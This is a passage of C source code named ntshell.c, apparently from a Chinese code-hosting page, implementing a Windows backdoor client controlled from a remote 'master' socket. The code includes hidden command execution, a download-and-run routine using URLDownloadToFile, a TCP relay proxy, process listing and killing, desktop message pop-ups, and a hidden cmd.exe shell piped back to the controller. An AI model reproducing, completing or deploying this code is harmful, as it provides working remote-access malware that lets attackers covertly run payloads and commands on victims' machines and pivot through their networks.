📄 ntshell.c
字号:
else
{
strcpy(szCmdLine, pce->CommandLine);
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
if (!CreateProcess(NULL, szCmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi))
{
wsprintf(szResult, "Create Process %s failed, code=%d\r\n", pce->CommandLine, GetLastError());
ObOutputString(pob, szResult);
return;
}
if (pce->ShowResult)
{
if (WaitForSingleObject(pi.hProcess, pce->TimeOut) == WAIT_TIMEOUT) //尝试等待命令完成
{
ObOutputString(pob, "Wait for exiting time out\r\n");
}
else
{
//读取命令执行结果
hFile = CreateFile(szTempFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
ReadFile(hFile, szResult, sizeof(szResult), &lBytesRead, NULL);
CloseHandle(hFile);
szResult[lBytesRead] = '\0';
ObOutputString(pob, szResult);
}
}
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
void ConsoleDownloadFile(POUTPUT_BUFFER pob, PCONSOLE_FILEDOWNLOAD pfd)
{
char fullPath[MAX_PATH];
char *p;
HMODULE hModule;
HRESULT (_stdcall *URLDownloadToFile)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
GetFullPathName(pfd->SavePath, MAX_PATH, fullPath, NULL);
for (p = fullPath + strlen(fullPath); p != fullPath && *p != '.'; p--);
if (p == fullPath)
{
strcat(fullPath, "\\");
for (p = pfd->Url + strlen(pfd->Url); p != pfd->Url && *p != '/'; p--);
strcat(fullPath, p + 1);
}
hModule = LoadLibrary("urlmon.dll");
if (hModule == NULL)
return;
URLDownloadToFile = (PVOID)GetProcAddress(hModule, "URLDownloadToFileA");
if (URLDownloadToFile(NULL, pfd->Url, fullPath, 0, NULL) == S_OK)
{
ObOutputBinary(pob, "File already saved to ", strlen("File already saved to "));
ObOutputBinary(pob, fullPath, strlen(fullPath));
ObOutputBinary(pob, "\r\n", 2);
if (pfd->RunIt)
{
PCONSOLE_EXECUTE pce = (PCONSOLE_EXECUTE)HeapAlloc(GetProcessHeap(), 0, sizeof(CONSOLE_EXECUTE) + strlen(fullPath) + 1);
if (pce != NULL)
{
pce->TimeOut = 0;
pce->ShowResult = FALSE;
strcpy(pce->CommandLine, fullPath);
ConsoleExecute1(pob, pce);
HeapFree(GetProcessHeap(), 0, pce);
}
}
ObOutputString(pob, "");
}
else
{
ObOutputString(pob, "Download file failed\r\n");
}
FreeLibrary(hModule);
}
void ConsoleSendMessage(POUTPUT_BUFFER pob, PCONSOLE_MESSAGESEND pms)
{
if (pms->DisplayMethod == 1)
{
HDC hDC = CreateDC("DISPLAY", NULL, NULL, NULL);
HFONT hFont = CreateFont(48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "宋体");
HFONT hOldFont = SelectObject(hDC, hFont);
RECT rc;
int i;
GetClientRect(GetDesktopWindow(), &rc);
rc.left = rc.right / 4;
rc.right = rc.left * 3;
rc.top = rc.bottom / 4;
rc.bottom = rc.top * 3;
SetTextColor(hDC, RGB(0, 0, 0));
SetBkColor(hDC, RGB(255, 255, 255));
SetBkMode(hDC, TRANSPARENT);
//DrawTextEx(hDC, pms->MessageText, strlen(pms->MessageText), &rc, DT_CENTER | DT_WORDBREAK | DT_EDITCONTROL, NULL);
for (i = 1; i <= (int)strlen(pms->MessageText); i++)
{
//InvalidateRect(GetDesktopWindow(), &rc, TRUE);
DrawTextEx(hDC, pms->MessageText, i, &rc, DT_WORDBREAK | DT_EDITCONTROL, NULL);
Sleep(100);
}
SelectObject(hDC, hOldFont);
DeleteObject(hFont);
DeleteDC(hDC);
}
else
{
MessageBox(NULL, pms->MessageText, "", MB_ICONINFORMATION);
}
}
DWORD WINAPI ConsoleThread(LPVOID lpParam)
{
SOCKET master_sock = (SOCKET)lpParam;
OUTPUT_BUFFER ob;
int code, ret;
struct sockaddr_in name;
int namelen = sizeof(name);
PNTSHELL_REQUEST req;
getpeername(master_sock, (struct sockaddr *)&name, &namelen);
ObInitOutput(&ob, 0x200000);
for (;;)
{
ret = RecvFromMaster(master_sock, (char **)&req, -1);
if (ret == -1)
break;
if (req->ClientVersion != 1) //不支持的客户端
{
HeapFree(GetProcessHeap(), 0, req);
break;
}
switch (req->RequestClass)
{
case CONSOLE_LISTPROCESS:
ConsoleListProcess(&ob);
break;
case CONSOLE_KILLPROCESS:
ConsoleKillProcess(&ob, (PCONSOLE_PROCESSKILL)(req->Request));
break;
case CONSOLE_DOWNLOADFILE:
ConsoleDownloadFile(&ob, (PCONSOLE_FILEDOWNLOAD)(req->Request));
break;
case CONSOLE_EXECUTE_1:
ConsoleExecute1(&ob, (PCONSOLE_EXECUTE)(req->Request));
break;
case CONSOLE_EXECUTE_2:
ConsoleExecute2(&ob, (PCONSOLE_EXECUTE)(req->Request));
break;
case CONSOLE_SENDMESSAGE:
ConsoleSendMessage(&ob, (PCONSOLE_MESSAGESEND)(req->Request));
break;
default:
LogEvent(11, inet_ntoa(name.sin_addr), code);
break;
}
HeapFree(GetProcessHeap(), 0, req);
if (ob.Pointer != 0)
{
SendToMaster(master_sock, ob.Buffer, ob.Pointer);
ob.Pointer = 0;
}
code = STATE_READY;
SendToMaster(master_sock, (char *)&code, 1);
}
closesocket(master_sock);
ObFreeOutput(&ob);
return 0;
}
DWORD WINAPI SockProxyThread(LPVOID lpParam)
{
struct sockaddr_in server;
SOCKET client_sock, server_sock;
int ret, len = 0;
ULONG non_blocking = 1;
USHORT transmit_port;
ULONG transmit_addr;
struct sockaddr_in name;
int namelen = sizeof(name);
fd_set fdread;
int client_data_len, server_data_len;
int client_send_pointer, server_send_pointer;
char client_buf[4096];
char server_buf[4096];
client_sock = (SOCKET)lpParam;
getpeername(client_sock, (struct sockaddr *)&name, &namelen);
ret = recv(client_sock, (char *)&transmit_port, sizeof(USHORT), 0); //读取转发端口
if (ret == SOCKET_ERROR || ret == 0)
{
closesocket(client_sock);
return -1;
}
ret = recv(client_sock, (char *)&transmit_addr, sizeof(ULONG), 0); //读取转发地址
if (ret == SOCKET_ERROR || ret == 0)
{
closesocket(client_sock);
return -1;
}
server.sin_family = AF_INET;
server.sin_port = htons((WORD)transmit_port);
server.sin_addr.s_addr = transmit_addr;
server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (server_sock == INVALID_SOCKET)
{
send(client_sock, "\x01", 1, 0); //发送错误码
closesocket(client_sock);
return -1;
}
if (connect(server_sock, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
send(client_sock, "\x05", 1, 0); //发送错误码
closesocket(client_sock);
closesocket(server_sock);
return -1;
}
send(client_sock, "\x00", 1, 0); //发送错误码
ioctlsocket(client_sock, FIONBIO, &non_blocking);
ioctlsocket(server_sock, FIONBIO, &non_blocking);
LogEvent(8, inet_ntoa(name.sin_addr), transmit_addr, transmit_port);
client_send_pointer = 0;
server_send_pointer = 0;
while (1)
{
FD_ZERO(&fdread);
FD_SET(client_sock, &fdread);
FD_SET(server_sock, &fdread);
if (select(0, &fdread, NULL, NULL, NULL) == SOCKET_ERROR)
break;
if (FD_ISSET(client_sock, &fdread))
{
if (client_send_pointer == 0)
{
ret = recv(client_sock, client_buf, sizeof(client_buf), 0);//从客户端接收数据
if (ret == SOCKET_ERROR || ret == 0)
break;
client_data_len = ret;
}
ret = send(server_sock, client_buf + client_send_pointer, client_data_len - client_send_pointer, 0);
if (ret == SOCKET_ERROR)
break;
client_send_pointer += ret;
if (client_send_pointer == client_data_len)
client_send_pointer = 0;
}
if (FD_ISSET(server_sock, &fdread))
{
if (server_send_pointer == 0)
{
ret = recv(server_sock, server_buf, sizeof(server_buf), 0);
if (ret == SOCKET_ERROR || ret == 0)
break;
server_data_len = ret;
}
ret = send(client_sock, server_buf + server_send_pointer, server_data_len - server_send_pointer, 0);
if (ret == SOCKET_ERROR)
break;
server_send_pointer += ret;
if (server_send_pointer == server_data_len)
server_send_pointer = 0;
}
}
LogEvent(9, inet_ntoa(name.sin_addr));
closesocket(client_sock);
closesocket(server_sock);
return 0;
}
int SockProxyService()
{
SOCKET master_sock;
HANDLE hThread;
DWORD dwThreadId;
master_sock = ConnectMaster(2);
if (master_sock == INVALID_SOCKET)
{
return -1;
}
hThread = CreateThread(NULL, 0, SockProxyThread, (LPVOID)master_sock, 0, &dwThreadId);
if (hThread == NULL)
{
closesocket(master_sock);
return -1;
}
CloseHandle(hThread);
return 0;
}
void ShellSession(SOCKET master_sock, char *lpShellName)
{
char dataBuffer[BUFFER_SIZE];
DWORD lBytesRead, ret;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
HANDLE hShellWrite = NULL, hReadPipe = NULL;
HANDLE hShellRead = NULL, hWritePipe = NULL;
struct timeval tv;
fd_set readfds;
tv.tv_sec = 0;
tv.tv_usec = 100000;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hReadPipe, &hShellWrite, &sa, 0))
{
goto session_error;
}
if (!CreatePipe(&hShellRead, &hWritePipe, &sa, 0))
{
goto session_error;
}
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hShellRead;
si.hStdOutput = hShellWrite;
si.hStdError = hShellWrite;
if (!CreateProcess(lpShellName, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
goto session_error;
while (1)
{
if (!PeekNamedPipe(hReadPipe, dataBuffer, 1, &lBytesRead, NULL, NULL))
{
DbgPrint(("PeekNamedPipe() 失败, 错误码 %d", GetLastError()));
break;
}
if (lBytesRead > 0)
{
if (!ReadFile(hReadPipe, dataBuffer, BUFFER_SIZE, &lBytesRead, NULL))
break;
ret = send(master_sock, dataBuffer, lBytesRead, 0);
if (ret == 0 || ret == SOCKET_ERROR)
break;
}
else
{
ret = WaitForSingleObject(pi.hProcess, 0);
if (ret == WAIT_OBJECT_0)
break;
FD_ZERO(&readfds);
FD_SET(master_sock, &readfds);
ret = select(0, &readfds, NULL, NULL, &tv);
if (ret == SOCKET_ERROR)
break;
if (!FD_ISSET(master_sock, &readfds))
continue;
ret = recv(master_sock, dataBuffer, BUFFER_SIZE, 0);
if (ret == 0 || ret == SOCKET_ERROR)
break;
if (!WriteFile(hWritePipe, dataBuffer, ret, &lBytesRead, NULL))
break;
}
}
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
session_error:
closesocket(master_sock);
CloseHandle(hReadPipe);
CloseHandle(hShellWrite);
CloseHandle(hShellRead);
CloseHandle(hWritePipe);
}
DWORD WINAPI CmdShellThread(LPVOID lpParam)
{
char cmd[MAX_PATH];
SOCKET master_sock = (SOCKET)lpParam;
GetEnvironmentVariable("ComSpec", cmd, MAX_PATH);
ShellSession(master_sock, cmd);
return 0;
}
BOOL ProcMgrListProcess(POUTPUT_BUFFER pob, PNTSHELL_RESULTSET prs)
{
NTSTATUS status;
PVOID pBuffer, pTokenUser;
ULONG nRetSize;
PSYSTEM_PROCESS_INFORMATION pptInfo;
PROCMGR_PROCESSINFO pi;
HMODULE hModule, hPsapiLib;
HANDLE hProcess, hToken;
TCHAR szProcessName[260];
TCHAR szUserName[260];
TCHAR szDomainName[260];
TCHAR szImagePath[280];
DWORD cbUserName, cbDomainName;
SID_NAME_USE use;
DWORD (_stdcall *GetModuleFileNameEx)(HANDLE hProcess, HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
DWORD (_stdcall *EnumProcessModules)(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded);
prs->ResultClass = PROCMGR_LISTPROCESS;
prs->MessageCode = MSG_NONE;
prs->ErrorCode = ERROR_SUCCESS;
prs->NumberOfResults = 0;
hPsapiLib = LoadLibrary("psapi.dll");
if (hPsapiLib)
{
GetModuleFileNameEx = (PVOID)GetProcAddress(hPsapiLib, "GetModuleFileNameExA");
EnumProcessModules = (PVOID)GetProcAddress(hPsapiLib, "EnumProcessModules");
}
else
{
GetModuleFileNameEx = NULL;
EnumProcessModules = NULL;
}
for (nRetSize = 0x1000;;)
{
pBuffer = LocalAlloc(LPTR, nRetSize);
if (pBuffer == NULL)
{
prs->ErrorCode = GetLastError();
goto End;
}
status = ZwQuerySystemInformation(5, pBuffer, nRetSize, &nRetSize); //SystemProcessesAndThreadsInformation
if (status != 0xC0000004) //STATUS_INFO_LENGTH_MISMATCH
break;
LocalFree(pBuffer);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -